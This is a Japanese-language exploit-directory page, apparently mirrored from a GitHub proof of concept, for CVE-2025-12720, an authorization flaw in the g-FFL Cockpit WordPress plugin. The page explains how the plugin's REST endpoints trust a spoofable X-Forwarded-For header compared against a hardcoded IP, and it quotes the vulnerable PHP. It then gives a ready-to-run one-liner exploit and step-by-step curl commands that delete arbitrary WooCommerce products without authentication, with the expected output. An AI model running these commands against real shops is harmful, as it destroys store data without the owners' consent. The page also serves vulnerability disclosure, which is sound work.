Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - 不適切な認可による未認証の製品削除 | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-12720
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテスト認証設定ミス
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - 不適切な認可による未認証の製品削除

リポジトリを見る
610ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

g-FFL Cockpit <= 1.7.1 - 未認証の任意の商品削除

g-FFL Cockpit プラグインは、queue および process REST API エンドポイントに適切な認可チェックを実装しておらず、未認証ユーザーが HTTP ヘッダーを偽装して IP ベースの認証をバイパスすることで、任意の WooCommerce 商品を削除できます。

TL;DR エクスプロイト

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

詳細

queue および process REST API エンドポイントは IP ベースの認証を使用していますが、X-Forwarded-For または HTTP ヘッダーを偽装することでバイパスできます。この認証メカニズムは、ユーザーが制御可能なヘッダーを信頼する に依存しており、プラグインのソースコードに保存されているハードコードされた IP アドレスと照合しています。

CF-Connecting-IP
get_client_ip()

class-sync-endpoint.php にあります:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

fflcockpit_is_allowed() 関数は、プラグインのソースコードで確認できるハードコードされた IP アドレス (base64: My4yMTIuMTg1LjE4Nw==、デコード後: 3.212.185.187) を使用します。

class-sync-endpoint.php の脆弱なスニペット:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

process_product() 関数は削除操作を sql_delete_product() にルーティングし、WooCommerce 商品を直接 SQL で削除します。

class-update-processor.php の脆弱な削除実装:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

手動での再現手順

注: g-FFL Cockpit には WooCommerce が必要です

  1. g-FFL Cockpit プラグインがインストールされている対象の WordPress サイトに移動します。

  2. プラグインのソースコードからハードコードされた IP アドレスを抽出します。IP は class-sync-endpoint.php 内で base64 エンコードされた My4yMTIuMTg1LjE4Nw== として保存されており、デコードすると 3.212.185.187 になります。

  3. 以下の curl コマンドを実行して、商品削除をキューに追加し処理します:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. キューに追加された削除を処理して、実際に商品の削除を実行します:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. 削除が完了したという確認が返されます:
root@kitploit:~
{
  "status": "completed"
}

商品は、関連するすべてのメタデータ、タームとの関連付け、画像を含めて、WooCommerce データベースから完全に削除されます。

ツールをダウンロード